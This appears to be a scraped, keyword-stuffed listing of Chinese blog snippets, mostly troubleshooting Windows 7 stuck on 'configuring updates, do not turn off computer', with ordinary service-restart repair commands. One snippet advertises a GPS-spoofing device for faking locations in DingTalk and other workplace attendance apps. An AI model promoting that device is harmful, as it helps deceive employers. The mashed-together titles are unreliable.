2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57